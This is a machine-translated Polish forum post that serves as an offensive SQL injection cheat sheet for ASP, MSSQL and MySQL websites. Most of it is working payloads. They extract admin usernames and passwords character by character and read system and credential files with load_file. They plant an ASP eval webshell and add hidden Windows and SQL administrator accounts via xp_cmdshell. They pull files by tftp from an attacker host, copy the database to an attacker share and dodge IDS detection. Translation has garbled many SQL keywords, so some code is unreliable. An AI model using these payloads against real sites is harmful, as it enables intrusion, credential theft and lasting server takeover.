Ten artykuł jest lustrzanym artykułem tłumaczenia maszynowego, kliknij tutaj, aby przejść do oryginalnego artykułu.

Widok: 20889|Odpowiedź: 2

[Bezpieczna komunikacja] Książka o wstrzykiwaniu SQL - Podatność na wstrzykiwanie ASP Pełny Kontakt

[Skopiuj link]
Opublikowano 28.09.2015 18:21:41 | | |


Zapytania MSSQL cross-database (śmierdzące jedzenie!) Dark)

Wycisnąć każdą kroplę MS SQL

Szczegółowo wyjaśniono odwołania do instrukcji SQL oraz obiekty zbiorów rekordów

O procedurach przechowywanych w SQL Server

Stwórz webshell z kopią zapasową mssql

SQL_Injection zaawansowane zastosowania

Wstrzykiwanie SQL między miejscami (laokai)

Dziwne wstrzykiwanie SQL (AMANL)

Zaawansowane wstrzykiwanie SQL w aplikacjach SQL Server

Jak używać wstrzykiwania SQL do przeszukiwania katalogów

Przegląd technik wtrysku SQL (tłumacz: demonalex)

Niektóre ataki na bazy danych SQL

Technika ataku wtrysku SQL (JSW)

SQL_Injection Zaawansowane Zastosowania (APACHY)

Rzadkie metody wstrzyknięć SQL (weteran Guilin)

Zrób kopię zapasową powłoki

Opowiedz o strukturze instrukcji php+mysql injection (Heyhehehehe·≯Super· Hei)

Zaawansowane wstrzykiwanie SQL z MySQL (angel)

L'injection (My)SQL via PHP

Oracle SQL Language

Encyklopedia manualnej iniekcji SQL

Wymagania wstępne wymagają narzędzi: SQL Query Analyzer i SqlExec Sunx Version
==============================================================================================
1. Określić, czy istnieje punkt wstrzyknięcia
; oraz 1=1 i 1=2
2. Zgadnij, że nazwa tabeli to nic innego jak admin, administrator, user, pass, hasło użytkownika itd.:
oraz 0<>(wybierz count(*) od *)
oraz 0<>(wybierz count(*) z admin) — Określ, czy tabela administracyjna istnieje
3. Zgadnij liczbę kont Jeśli napotkasz 0< wróć do właściwej strony 1< zwróć stronę błędu, aby wskazać, że liczba kont wynosi 1
oraz 0<(wybierz count(*) z admin)
oraz 1<(wybierz count(*) z admin)
4. Zgadnij nazwę pola Dodaj nazwę pola, o której myślimy, w nawiasach len( ).
oraz 1=(wybierz count(*) z admin, gdzie len(*)>0)–
oraz 1=(wybierz count(*) z administratora, gdzie len(nazwa pola użytkownika)>0)
oraz 1=(wybierz count(*) z administratora, gdzie len(_blank>nazwa pola hasła)>0)
5. Zgaduj długość każdego pola Zgadnij długość do przekształcenia >0 aż do zwrócenia właściwej strony
oraz 1=(wybierz count(*) z administratora, gdzie len(*)>0)
oraz 1=(wybierz count(*) z administratora, gdzie len(name)>6) błąd
oraz 1=(wybierz count(*) z admin gdzie len(name)>5) Poprawna długość to 6
oraz 1=(wybierz count(*) z admin gdzie len(name)=6 jest poprawne
oraz 1=(wybierz count(*) z admin gdzie len(password)>11) jest poprawne
oraz 1=(wybierz count(*) z administratora, gdzie len(password)>12) długość błędu wynosi 12
oraz 1=(wybierz count(*) z admin, gdzie len(password)=12) jest poprawne
6. Zgadnij postacie
oraz 1=(wybierz count(*) z admin gdzie left(name,1)=a) — Zgadnij pierwszą cyfrę konta użytkownika
oraz 1=(wybierz count(*) z admin gdzie left(name,2)=ab)—Zgadnij drugą cyfrę konta użytkownika
Wystarczy dodawać po jednej postaci na raz, zgaduj tyle cyfr, ile właśnie zgadłeś, a numer konta wyjdzie
(1) Zgadnij nazwę stołu

Używane zdania:
i istnieje (wybierz * z nazwy tabeli)

Na przykład:
i istnieje (wybierz * z admina)

Jeśli strona poprawnie się powtarza, oznacza to, że nazwa tabeli, którą tu zgadliśmy, jest poprawna, a jeśli strona jest błędna, to oznacza, że nazwa tabeli, którą tu wpisaliśmy, jest błędna

, następnie zmienia nazwę tabeli i kontynuuje zgadywanie, aż zgadniesz.

Zazwyczaj najczęściej używane nazwy tabel to admin, manage, user lub "włóż je w uruchomieniu narzędzia"
(2) Zgadnij pole

Używane zdania:
i istnieje (wybierz nazwę pola z nazwy tabeli)

Na przykład:
i istnieje (wybierz nazwę użytkownika z administratora)

Tutaj, zakładając, że tabela administratora to ta, którą poprawnie zgadłem powyżej, chcę ustalić, czy pole użytkownika istnieje, muszę użyć tego sformułowania, jeśli strona

Jeśli echo twarzy jest poprawne, oznacza to, że nazwa pola, którą tu zgadliśmy, jest poprawna, a jeśli strona jest błędna, oznacza to, że nazwa pola, którą tu wpisaliśmy, jest błędna

, następnie zmień nazwę pola i kontynuuj zgadywanie, aż zgadniesz.

Zazwyczaj popularne nazwy pól to nazwa użytkownika, hasło, user, pass, name, pass, pwd, usr, psd oraz inne pola
(3) kolejność według

kolejność według polega na uzyskaniu sumy liczby pól na tej stronie, przygotowując się do kolejnego wspólnego zapytania
(4) Union Select

  1. Jeśli obsługujesz wspólne zapytanie, znajdź bit wyświetlania http://www.xxx.com/product_show.asp?id=1 i 1=2 wybieraj union select

1,2,3,4,5,6,7,8,9,10,11
Załóżmy, że bity wyświetlania to 5,6. Następnie wystarczy zastąpić nazwy pól odpowiadające nazwie użytkownika i hasła administratora pozycją bitu wyświetlania tutaj
http://www.xxx.com/product_show.asp?id=1 and 1=2 union select

1,2,3,4,admin_name,admin_pwd,7,8,9,10,11 z admina znalazł logowanie w tle
  2. Jeśli zapytanie wspólne nie jest obsługiwane
Nazwy użytkownika i hasła administratora nie można uzyskać bez wspólnego zapytania – za pomocą dosłownego dekodowania Ascii
Dwa
  Użyj kolejności przez do oceny liczby bitów w tabeli, a jeśli to nie działa, użyj union select, aby uporządkować je jeden po drugim, tutaj zakładamy 8 bitów
Trzy
  Użyj wspólnego zapytania, aby określić bity wyświetlania
Cztery
  Użyj bitu wyświetlania, aby znaleźć nazwę bazy danych, wersję bazy, którą można wstrzyknąć w wersji 5.0 lub wyższej.
http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,concat(database

(),0x5c,user(),0x5c,
version()),8
Pięć
  Przy nazwie bazy danych możesz zacząć od schematu nazwy tabeli = następnie wartości HEX-owej nazwy bazy danych i zgadywać nazwę tabeli
http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(DISTINCT

+table_name),8
+from+information_schema.columns+where+
table_schema=0x666C6965725F6462617365
Sześć
  Analizowana nazwa tabeli określa wartość HEX nazwy tabeli administratora = nazwa tabeli oraz zgaduje pola w tabeli
  http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(WYRAŹNE

+column_name),8+
from+information_schema.columns+where+table_name=0x7075625F7765626D6173746572
Siedem
  Po uzyskaniu pól w tabeli administracyjnej, przejdźmy do ich zawartości
  http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(WYRAŹNE

+nazwa użytkownika,
0x5f,userpwd),8+from+pub_webmaster
Osiem
  Narzędzie skanuje tło: Zaloguj się, aby przesłać trojana po jego znalezieniu, a jeśli nie możesz znaleźć pliku robots.txt, możesz uzyskać dostęp
Dziewięć
  Jeśli nie znajdziesz tła, hasło administratora MYSQL zostanie ujawnione
  http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,concat

(user,password),8+from+mysql.user
Dziesięć
  Losowo uzyskujesz ścieżkę, a informacja zwrotna to domyślna strona 404 w IIS6, wskazująca, że serwer strony to: Windows+IIS6+php+MySql
  c:\\windows\\system32\\\inetsrv\\MetaBase.xml Ta ścieżka pozwala uzyskać informacje o konfiguracji strony.
  Instrukcje konstrukcyjne http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,load_file

(0x633A5C5C77696E646F77735C
  5C73797374656D33325C5C696E65747372765C5C4D657461426173652E786D6C),8
Jedenaście
  Przeanalizuj kod i znajdź adres tła
  W pierwszym kroku musimy określić długość pól w tabeli
Używane stwierdzenia:
oraz (wybierz top 1 len(nazwa pola) z nazwy tabeli)>0
Na przykład co:
oraz (wybierz górny 1 len(admin_name) z admina)>0
Strona jest wyświetlana normalnie, długość pola admin_name jest większa niż 0, a ja wyślę:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 len(admin_name) from admin)>10
Strona wyświetla błąd, że pole mieści się między 0 a 10, a długość wynosi 5 według dychotomii
Używając tej samej metody do określenia długości pola do hasła administratora, otrzymuję długość 16
  Krok 2
Teraz przejdźmy do drugiego kroku, bierz określony znak w polu i pobieraj kod ASCII tego znaku, który jest używany

Oświadczenie:
oraz (wybierz top 1 asc(mid(field name, N,1)) z nazwy tabeli)>0
Przyjrzę się temu zdaniu osobno, najpierw najgłębsza funkcja środkowa (nazwa użytkownika, 1,1), która jest pierwszym znakiem pola admin_name, N

oznacza, że pierwsze znaki mają zostać przechwycone,
Następnie zewnętrzna funkcja asc(), która przekształca znaki przechwycone przez funkcję środkową na kod ASCII, czyli najbardziej zewnętrzną górną jednkę, reprezentuje pole zwrotne pierwszego miejsca

Rekord, więc,
">0" na końcu służy do porównania przekonwertowanego kodu ASCII z tą liczbą i ostatecznie uzyskania przechwycenia przez ciągłą zmianę ostatniej wartości

Poznaj szczegóły tej postaci
Kod ASCII
Zgłoszenie:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from

admin)>30
Strona jest wyświetlana normalnie, wskazując, że kod ASCII tego znaku jest większy niż 30.
Zgłoszenie:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from

admin)>90
Strona jest wyświetlana normalnie, wskazując, że kod ASCII tego znaku jest większy niż 90.
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from

admin)=97
Kod ASCII, który ostatecznie otrzymałem dla tego znaku, to 97
Porównaj tabelę ASCII:
Można wnioskować, że pierwszy znak to "a".
Następnie ocenię kod ASCII drugiego znaku.

http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,2,1)) from

admin)>90
Strona jest wyświetlana normalnie, wskazując, że kod ASCII znaku jest większy niż 90, a ostatnia wartość jest zawsze zmieniana
Ta sama metoda dała hasło administratora, a wynik był następujący:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_pass,1,1)) from

admin)=52
oraz 1=(wybierz top 1 count(*) z Admin, gdzie Asc(mid(pass,5,1))=51) –
To zdanie zapytania może zgadnąć chińskiego użytkownika i _blank> hasło. Po prostu zamień poniższe numery na chiński kod ASSIC

Przekształc się w znaki.

grupowanie przez users.id mający 1=1–www.myhack58.com
grupowanie według users.id, users.username, users.password, users.privs mających 1=1–
; Wprowadź wartości użytkownika (666, atakujący, foobar 0xffff )–

UNION Wybierz TOP 1 COLUMN_blank>_NAME Z INFORMATION_blank>_SCHEMA. KOLUMNY Gdzie

TABLE_blank>_NAME=logintable-
UNION Wybierz TOP 1 COLUMN_blank>_NAME Z INFORMATION_blank>_SCHEMA. KOLUMNY Gdzie

TABLE_blank>_NAME=logowalny tam, gdzie COLUMN_blank>_NAME NIE W (login_blank>_id)-
UNION Wybierz TOP 1 COLUMN_blank>_NAME Z INFORMATION_blank>_SCHEMA. KOLUMNY Gdzie

TABLE_blank>_NAME=logowalne Gdzie COLUMN_blank>_NAME NIE W

(login_blank>_id,login_blank>_name)-
UNION Wybierz TOP 1 login_blank>_name Z logintable-
UNION Wybierz TOP 1 hasło Z logintable, gdzie login_blank>_name=Rahul–
Spójrz na łatkę uruchomioną przez serwer _blank> = zła łatka SP4 siatka bezpieczeństwa
oraz 1=(wybierz @@VERSION)–

Sprawdź uprawnienia konta połączenia _blank> bazy danych i zwraca się normalnie, co dowodzi, że to uprawnienia administratora systemu roli _blank> serwera.
oraz 1=(Wybierz IS_blank>_SRVROLEMEMBER(sysadmin))–

Określ, czy konto bazy danych _blank> powiązane. (Użyj konta SA, aby połączyć się i zwrócić normalnie = udowodnij, że konto jest SA)
oraz sa=(Wybierz System_blank>_user)–
oraz user_blank>_name()=dbo–
oraz 0<>(wybierz user_blank>_name()–

Sprawdź, czy xp_blank>_cmdshell usunie
oraz 1=(Wybierz count(*) FROM master.dbo.sysobjects gdzie xtype = X AND name = xp_blank>_cmdshell)



xp_blank>_cmdshell jest usuwana, przywracana i obsługuje absolutne odzyskiwanie ścieżek
; DYREKTOR master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell xplog70.dll–
; EXECUTIVE master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,c:\inetpub\wwwroot\xplog70.dll–
============================== uprawnienia bazy danych są wystawione na fizyczny kod ścieżki strony internetowej

==========================================================================
1、tabela drop [jm_tmp]; Create table [jm_tmp](value navrchar(4000) null,data nvarchar(4000)

null) -- Utwórz tabelę


2、 usuń [jm_tmp]; Wstaw [jm_tmp] master.dbo.xp_regread

'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots','/'--

Wstaw katalog strony do pola tabeli


3、i (wybierz top 1 cast([data] jako nvarchar(4000) char(124) z [jm_tmp] kolejność według [data]

desc)=0 '//Pole odsłonięte


4. Usuń tabelę [jm_tmp] -- usuń tę tabelę.
Dla dowództwa, by zdobyć pocisk
/c for /r e:\ %i in ("<%eval request("cmd")%>") do @echo %i
>>d:\Inne ścieżki stacji
======================load_file() Powszechnie używane wrażliwe informacje ===========================================
1、 zastąp(load_file(0×2F6574632F70617377764),0×3c,0×20)

2、zastąpnij(load_file(char(47,101,116,99,47,112,97,115,115,119,100),char(60),char(32))
Powyższe dwa służą do wyświetlenia pliku PHP, który w pełni wyświetla kod. Są momenty, gdy niektóre znaki nie są zastępowane, na przykład "<" zamiast "space" (powrót "space"

Strona internetowa. A kod nie jest dostępny do przeglądu.

3. load_file(char(47)) może wymienić katalog główny systemów FreeBSD i Sunos

4. Zobacz plik konfiguracyjny wirtualnego hosta Linux APACHE w /etc/httpd/conf/httpd.conf lub /usr/local/apche/conf/httpd.conf

5. C:\Program Files\Apache Group\Apache\conf\httpd.conf lub C:\apache\conf\httpd.conf do wyświetlania WINDOWS

System Apache file

6. c:/Resin-3.0.14/conf/resin.conf Zobacz informacje o konfiguracji pliku żywicy na stronie internetowej opracowanej przez jsp.

7. c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf, aby zobaczyć wirtualnego hosta JSP skonfigurowanego na systemie Linux

8、d:\APACHE\Apache2\conf\httpd.conf

9、C:\Program Files\mysql\my.ini

10、.. /themes/darkblue_orange/layout.inc.php phpmyadmin explode path

11. C:\Windows\system32\inetsrv\MetaBase.xml Zobacz plik konfiguracyjny wirtualnego hosta IIS

12. /usr/local/resin-3.0.22/conf/resin.conf, aby zobaczyć plik konfiguracyjny RESIN dla wersji 3.0.22

13. /usr/local/resin-pro-3.0.22/conf/resin.conf To samo co wyżej

14. /usr/local/app/apache2/conf/extratpd-vhosts.conf wirtualny host APASHE

15. /etc/sysconfig/iptables zależy od polityki zapory

16. /usr/local/app/php5 b/php.ini odpowiednik ustawień PHP

17. /etc/my.cnf plik konfiguracyjny MYSQL

18. /etc/wersja Red Hat w systemie wydawniczym Redhat

19 、C:\mysql\data\mysql\user. MYD występuje w hasle użytkownika w systemie MYSQL

20. /etc/sysconfig/network-scrip{filter}ts/ifcfg-eth0 do wyświetlania IP.

21. /usr/local/app/php5 b/php.ini //PHP

22. /usr/local/app/apache2/conf/extratpd-vhosts.conf // wirtualne ustawienia strony internetowej //

23、c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini

24、c:\windows\my.ini

25. /etc/issue wyświetla informacje o dystrybucji jądra Linux

26、/etc/ftpuser

27. Sprawdź plik logu operacji w LINUX user.bash_history lub .bash_profile

28、/etc/ssh/ssh_config
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/etc/httpd/logs/access_log
/etc/httpd/logs/access.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/apache2/error_log
/var/log/apache2/error.log
/var/log/apache2/access_log
/var/log/apache2/access.log
/var/www/logs/error_log
/var/www/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/error_log
/var/log/error.log
/var/log/access_log
/var/log/access.log
/etc/mail/access
/etc/my.cnf
/var/run/utmp
/var/log/wtmp
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/httpd/access_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/httpd/error_log
.. /apache/logs/error.log
.. /apache/logs/access.log
.. /.. /apache/logs/error.log
.. /.. /apache/logs/access.log
.. /.. /.. /apache/logs/error.log
.. /.. /.. /apache/logs/access.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/acces_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/acces.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/error_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/error.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/access_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/access.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/lokalny/apache/logs/access_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/lokalny/apache/logs/access.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/access_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/access.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/access_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/error_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/error.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/error_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/lokalny/apache/logs/error.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/error_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/error.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/access_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/error_log
/var/log/httpd/access_log      
/var/log/httpd/error_log     
.. /apache/logs/error.log     
.. /apache/logs/access.log
.. /.. /apache/logs/error.log
.. /.. /apache/logs/access.log
.. /.. /.. /apache/logs/error.log
.. /.. /.. /apache/logs/access.log
/etc/httpd/logs/acces_log
/etc/httpd/logs/acces.log
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/access_log
/var/www/logs/error_log
/var/www/logs/error.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/access_log
/var/log/error_log
========================================================
Samodzielnie zrób eksperyment z odwrotnym PINGiem
; używaj mastera; deklaruj @s int; Exec sp_blank>_oacreate "wscrip{filter}t.shell", @s koniec; Wykonawczy

sp_blank>_oamethod @s,"run",NULL,"cmd.exe /c ping 192.168.0.1"; –

Dodaj konto
;D ECLARE @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell OUTPUT EXEEC SP_blank>_OAMETHOD

@shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add–

Utworzenie wirtualnego katalogu E-disk:
; declare @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, run,

NULL, cscrip{filter}t.exe c:\inetpub\wwwroot\mkwebdir.vbs -w "default website" -v "e","e:\"–

Atrybuty dostępu: (z zapisem do webshella)
declare @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, run,

NULL, cscrip{filter}t.exe c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse

Specjalny _blank> trik na burstowanie biblioteki: :%5c=\ lub zmodyfikuj %5 z / i \, aby commit
oraz 0<>(wybierz 1 najlepszych ścieżek z newtable)–

Zdobądź nazwę bazy danych (od 1 do 5 to identyfikatory systemu, możesz ocenić je powyżej 6)
oraz 1=(wybierz nazwę z master.dbo.sysdatabases gdzie dbid=7)–
oraz 0<>(wybierz count(*) z master.dbo.sysdatabases, gdzie nazwa>1 i dbid=6)
Złóż dbid po kolei = 7,8,9.... Uzyskaj więcej _blank> nazw baz danych

oraz 0<>(wybierz top 1 nazwę z bbs.dbo.sysobjects, gdzie xtype=U) wpadają do tabeli zakładając, że administrator
oraz 0<>(wybierz pierwszą nazwę z bbs.dbo.sysobjects, gdzie xtype=you i name not in (Admin)).

Inne stoły.
oraz 0<>(wybierz count(*) z bbs.dbo.sysobjects, gdzie xtype=you i name=admin
oraz uid>(str(id))) Wartość numeryczna UID jest zakładana jako 18779569 uid=id
oraz 0<>(wybierz top 1 nazwę z bbs.dbo.syscolumns, gdzie id=18779569) otrzymuje pole admin, false

Ustaw user_blank>_id
oraz 0<>(wybierz top 1 nazwę z bbs.dbo.syscolumns, gdzie id=18779569 i nazwa nie w
(id,...)) aby ujawnić inne dziedziny
oraz 0<(wybierz user_blank>_id z BBS.dbo.admin gdzie nazwa użytkownika>1), aby uzyskać nazwę użytkownika
W zamian możesz zdobyć _blank> hasło。。。。。 Załóżmy, że są pola takie jak user_blank>_id nazwa użytkownika, hasło itp

oraz 0<>(wybierz count(*) z master.dbo.sysdatabases, gdzie nazwa>1 i dbid=6)
oraz 0<>(wybierz nazwę top 1 z bbs.dbo.sysobjects, gdzie xtype=U), aby uzyskać nazwę tabeli
oraz 0<>(wybierz nazwę top 1 z bbs.dbo.sysobjects, gdzie xtype=you i name not in(Address))
oraz 0<>(wybierz count(*) z bbs.dbo.sysobjects, gdzie xtype=u i name=admin i uid>(str(id)))

Określ wartość id
oraz 0<>(wybierz pierwszą nazwę z BBS.dbo.syscolumns, gdzie id=773577794) wszystkie pola

?id=-1 Union Select 1,2,3,4,5,6,7,8,9,10,11,12,13,* z admin
?id=-1 Union Select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 z administratora (Union,Access jest również łatwy w użyciu)

Pobierz ścieżkę WEB
; Utwórz tabelę [dbo]. [zamiana] ([swappass][char](255)); –
oraz (wybierz top 1 swappass ze swapu)=1–
; Create TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec

Mistrzu... xp_blank>_regread @rootkey=HKEY_blank>_LOCAL_blank>_MACHINE, @key=SYSTEM

\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\, @value_blank>_name=/, wartości=@test

OUTPUT insert do paths(paths) values(@test)–
; Użyj ku1; –
; create table cmd (obraz str); – Utworzenie cmd tabeli typu obrazu
1. Sposób usunięcia procesu rozszerzenia xp_cmdshell to użycie następującego stwierdzenia:

jeśli istnieje (wybierz * z dbo.sysobjects gdzie id=object_id(N'[dbo].[ xpcmdshell]') oraz

OBJECTPROPERTY(id,N'IsExtendedProc')=1)
exec sp_dropextendedproc N'[dbo]. [xp_cmdshell]'

2. Sposób dodania xp_cmdshell procesu rozszerzenia to użycie następującego stwierdzenia:

(1) Analizator zapytań SQL

sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'

(2) Najpierw wpisz %s w opcji Format w SqlExec Sunx Version i wprowadź je w opcji CMD

sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'

usuń

sp_dropextendedproc 'xp_cmdshell'

(3)MSSQL2000

sp_addextendedproc 'xp_cmdshell', 'xplog70.dll'
Istnieje xp_blank>_cmdshell procesów testowania:
; Mistrz wykonawczy... xp_blank>_cmdshell dir
; Wykonawczy master.dbo.sp_blank>_addlogin Jiaoniang$; – Dodaj konta SQL
; exec master.dbo.sp_blank>_password null,jiaoniang$,1866574; –
; Wykonawczy master.dbo.sp_blank>_addsrvrolemember Jiaoniang$ administratora systemów; –
; Użytkownik Exec master.dbo.xp_blank>_cmdshell Net Jiaoniang$ 1866574 /workstations:* /times:all

/passwordchg:yes /passwordreq:yes /active:yes /add;–
; exec master.dbo.xp_blank>_cmdshell net localgroup administrators jiaoniang$ /add; –
Mistrz wykonawczy... xp_blank>_servicecontrol rozpoczęcie, harmonogram rozpoczęcia _blank> usługi
Mistrz wykonawczy... xp_blank>_servicecontrol start, serwerze
; DECLARE @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell OUTPUT EXEC SP_blank>_OAMETHOD

@shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add
;D ECLARE @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell OUTPUT EXEEC SP_blank>_OAMETHOD

@shell,run,null, C:\WINNT\system32\cmd.exe /c net localgroup administrators jiaoniang$ /add
; Mistrz wykonawczy... xp_blank>_cmdshell tftp - i youip get file.exe – Przesyłaj pliki za pomocą TFTP

; declare @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:\
; declare @a sysname set @a=xp+_blank>_cm'+'dshell exec @a dir c:\
; deklaruj @a; zestaw @a=db_blank>_name(); baza baz zapasowych @a na dysk=Twój adres IP Twój współdzielony katalog bak.dat
Jeśli jest ograniczone, to tak.
select * from openrowset(_blank>sqloledb,server; SA; ,wybierz OK! Wykonawczy

master.dbo.sp_blank>_addlogin hax)

Struktura zapytań:
Wybierz * Z wiadomości Gdzie id=... AND temat=... I .....
adminand 1=(wybierz count(*) z [user] gdzie username=victim i right(left(userpass,01),1)=1)

oraz userpass <>
wybierz 123; –
; używaj mastera; –
:a lub nazwa jak fff%; – Pokazuje użytkownika o nazwie ffff.
oraz 1<>(wybierz count(email) z [user]); –
; aktualizacja [użytkownicy] ustaw e-mail=(wybierz pierwszą nazwę z sysobjects, gdzie xtype=you i status>0) gdzie

imię=ffff; –
; aktualizacja [users] ustaw email=(wybierz górne 1 ID z sysobjects, gdzie xtype=you i name=ad) gdzie

imię=ffff; –
; aktualizacja [użytkownicy] ustaw email=(wybierz pierwszą nazwę z sysobjects, gdzie xtype=ty i id>581577110)

gdzie imię=ffff; –
; aktualizacja [Użytkownicy] ustaw e-mail=(wybierz 1 górny numer(id) z hasła), gdzie imię=ffff; –
; aktualizacja [Users] ustaw email=(wybierz top 1 pwd z hasła, gdzie id=2) gdzie imię=ffff; –
; aktualizacja [użytkownicy] ustaw email=(wybierz pierwszą nazwę z hasła gdzie id=2) gdzie imię=ffff; –
Powyższe stwierdzenie polega na uzyskaniu pierwszej tabeli użytkownika w bazie _blank> i wpisaniu nazwy tabeli w polu e-mail użytkownika ffff.
Przeglądając profil użytkownika ffff, możesz uzyskać pierwszą tabelę o nazwie AD
Następnie uzyskaj identyfikator tej tabeli według nazwy tabeli w reklamie, aby uzyskać nazwę drugiej tabeli

Wprowadź wartości użytkowników (666, char(0×63)+char(0×68)+char(0×72)+char(0×69)+char(0×73),

char(0×63)+char(0×68)+char(0×72)+char(0×69)+char(0×73), 0xffff)–
Wprowadź wartości użytkownika (667,123,123,0xffff)–
Wprowadź wartości użytkownika (123, admin–, hasło, 0xffff)–
; oraz user>0
; oraz (wybierz count(*) z sysobjects)>0
; oraz (wybierz count(*) z mysysobjects)>0 // dla bazy danych access_blank>

Wypisz nazwę tabeli danych
; Aktualizuj AAA zestaw aaa=(wybierz pierwszą nazwę z sysobjectów, gdzie xtype=u i status>0); –
To właśnie wtedy pierwsza nazwa tabeli zostaje zaktualizowana na pole AAA.
Przeczytaj pierwszą tabelę, a drugą tabelę można odczytać tak (dodaj nazwę i nazwę po warunku<> nazwę tabeli, którą właśnie otrzymałeś).
; Aktualizuj AAA ustaw aaa=(wybierz pierwszą nazwę z sysobjects, gdzie xtype=ty i status>0 oraz

imię<>głosowanie); –
Wtedy id=1552 i istnieje (wybierz * z aaa, gdzie aaa>5)
Przeczytaj drugą tabelę i czytaj ją po kolei, aż nie zostanie żadna.
Pole odczytu wygląda tak:
; Aktualizacja zestawu AAA aaa=(wybierz top 1 col_blank>_name(object_blank>_id(nazwa tabeli),1)); –
Wtedy id=152 i istnieje (wybierz * z aaa, gdzie aaa>5) otrzymuje błąd i otrzymuje nazwę pola
; Aktualizuj AAA zestaw AAA=(wybierz top 1 col_blank>_name(object_blank>_id(nazwa tabeli),2)); –
Wtedy id=152 i istnieje (wybierz * z aaa, gdzie aaa>5) otrzymuje błąd i otrzymuje nazwę pola

[Pobierz nazwę tabeli danych] [Zaktualizuj wartość pola na nazwę tabeli, a następnie odczyta wartość tego pola, aby uzyskać nazwę tabeli]
Aktualizuj pole nazwy tabeli Set =(wybierz pierwszą nazwę z sysobjectów, gdzie xtype=u i status>0 [ oraz nazwa<>

Nazwa tabeli, którą otrzymujesz Find one plus one]) [ gdzie warunek] wybierz nazwę z górnej 1 z sysobject, gdzie xtype=u i

status>0 i imię nie znajdują się w (tabela1, tabela2,...)
Tworzenie konta administratora bazy danych oraz konta administratora systemu _blank> _blank> wstrzyknięcia luk przez SQLSERVER [Obecne konto musi być grupą SYSADMIN]

[Pobierz nazwę pola Datatable] [Zaktualizuj wartość pola do nazwy pola, a następnie odczyta wartość tego pola, aby uzyskać nazwę pola]
Aktualizuj nazwę tabeli Pole zestawu=(wybierz górne 1 col_blank>_name(object_blank>_id (nazwa tabeli danych do zapytania), kolumna pola

Na przykład: 1) [ gdzie warunek ]

Omijanie wykrywania IDS [za pomocą zmiennych]
; declare @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:\
; declare @a sysname set @a=xp+_blank>_cm'+'dshell exec @a dir c:\

1. Otwórz bazę danych _blank> zdalnych
Podstawowa składnia
